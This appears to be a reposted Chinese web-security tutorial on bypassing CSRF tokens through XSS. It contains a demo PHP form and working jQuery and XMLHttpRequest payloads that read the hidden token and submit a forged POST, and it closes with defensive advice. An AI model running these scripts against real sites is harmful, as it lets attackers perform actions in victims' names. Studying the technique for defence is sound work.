利用XSS绕过CSRF令牌保护

Posted 互联网产品安全

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了利用XSS绕过CSRF令牌保护相关的知识,希望对你有一定的参考价值。


CSRFtoken是防御跨站请求伪造的一种好方法,但可以通过XSS漏洞绕过这种保护措施。

 

在这里,将使用两种通过XSS漏洞获取CSRFtoken的技术,并且成功提交表单。以下是我们要绕过的场景:

<!doctype html>
<html lang="en-US">
<head>
    <title>Steal My Token</title>
</head>
<body id="body">

<?php

$h = fopen ("/tmp/csrf", "a");
fwrite ($h, print_r ($_POST, true));
if (array_key_exists ("token", $_POST) && array_key_exists ("message", $_POST)) {
    if ($_POST['token'] === "secret_token") {
        print "<p>Token accepted, the message passed is: " . htmlentities($_POST['message']) . "</p>";
        fwrite ($h, "Token accepted, the message passed is: " . htmlentities($_POST['message']) . "\n");
    } else {
        print "<p>Invalid token</p>";
        fwrite($h, "Invalid token passed\n");
    }
}
fclose ($h);
?>

  <form method="post" action="<?=htmlentities($_SERVER['PHP_SELF'])?>">
     <input type="hidden" value="secret_token" id="token" name="token" />
        <input type="text" value="" name="message" id="message" />
        <input type="submit" value="Submit" />
    </form>
</body>
</html>

正如代码功能所示,通过csrftoken来保护表单不受CSRF攻击,在提交时检查此值,如果符合要求,则显示消息并将其写入文件。无效token也被记录下来帮助调试。

1、通过jQuery

第一种技术就是使用jQuery,下面是代码:

function submitFormWithTokenjQuery (token) {
    $.post (POST_URL, {token: token, message: "hello world"})
        .done (function (data) {
            console.log (data );
        });
}

function getWithjQuery () {
    $.ajax ({
        type: "GET",
        url: GET_URL,
        // Put any querystring values in here, e.g.
        // data: {name: 'value'},
        data: {},
        async: true,
        dataType: "text",
        success: function (data) {
            // Convert the string data to an object
            var $data = $(data);
            // Find the token in the page
            var $input = $data.find ("#token");
            // This comes back as an array so check there is at least
            // one element and then get the value from it
            if ($input.length &gt; 0) {
                inputField = $input[0];
                token = inputField.value
                console.log ("The token is: " + token);
                submitFormWithTokenjQuery (token);
            }

        },
        // In case you need to handle any errors in the
        // GET request
        error: function (xml, error) {
            console.log (error);
        }
    });
}

var GET_URL="/csrf.php"
var POST_URL="/csrf.php"
getWithjQuery();

代码利用getWithjQuery函数发送一个get请求到含有csrftoken的网页。当页面返回时,对内容进行分解,获取csrftoken的值。然后将csrftoken传递给submitFormWithTokenjQuery函数并POST提交。还一种更简捷的代码。如下:

$.get("csrf.php", function(data) {
    $.post("/csrf.php", {token: $(data).find("#token")[0].value, message: "hello world"})
});

2、通过javascript

可以使用不依赖任何第三方库,通过原始的JavaScript来做到。代码如下:

    var xhr = new XMLHttpRequest();
    xhr.open("POST", POST_URL, true);

    // Send the proper header information along with the request
    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

    // This is for debugging and can be removed
    xhr.onreadystatechange = function() {
        if(xhr.readyState === XMLHttpRequest.DONE &amp;&amp; xhr.status === 200) {
            console.log(xhr.responseText);
        }
    }

    xhr.send("token=" + token + "&amp;message=CSRF%20Beaten");
}

function getTokenJS() {
    var xhr = new XMLHttpRequest();
    // This tels it to return it as a HTML document
    xhr.responseType = "document";
    // true on the end of here makes the call asynchronous
    xhr.open("GET", GET_URL, true);
    xhr.onload = function (e) {
        if (xhr.readyState === XMLHttpRequest.DONE &amp;&amp; xhr.status === 200) {
            // Get the document from the response
            page = xhr.response
            // Get the input element
            input = page.getElementById("token");
            // Show the token
            console.log("The token is: " + input.value);
            // Use the token to submit the form
            submitFormWithTokenJS(input.value);
        }
    };
    // Make the request
    xhr.send(null);
}

var GET_URL="/csrf.php"
var POST_URL="/csrf.php"
getTokenJS();

首先getTokenJS函数使用一个异步的XMLHttpRequest请求GET_URL网页,当它返回成功时提取DOM元素中的token。传递给submitFormWithTokenJS函数来构建另一个异步的XMLHttpRequest请求,通过POST成功提交。

结论

往往最好的保护措施可以使用一个简单的漏洞来绕过。需要引诱受害者访问存在存储型XSS的页面,或者让他们在浏览器中点击一个反射的XSS链接,以使其被触发攻击成功。
防止这种简单的方法,一是不要让网站存在XSS漏洞。如果你不能保护这一点,下一个最好的选择是使用另一种验证的形式,如可以让用户输入二次密码来确认。二是可以在重要功能处,添加下行手机和邮箱验证码来确认操作。XSS可以用来触发下行验证码,但是它不能够读取短信和邮箱里的验证码。


以上是关于利用XSS绕过CSRF令牌保护的主要内容,如果未能解决你的问题,请参考以下文章

保护 oauth 不记名令牌免受 javascript 应用程序中的 XSS、CSRF 等攻击

绕过Facebook CSRF保护——导致帐户接管

6种方法绕过CSRF保护

绕过 XHR 的 CSRF 保护是不是安全? (导轨)

利用Window.Opener绕过CSRF保护

使用 CSP + localStorage 从 CSRF 和 XSS 保护单页应用程序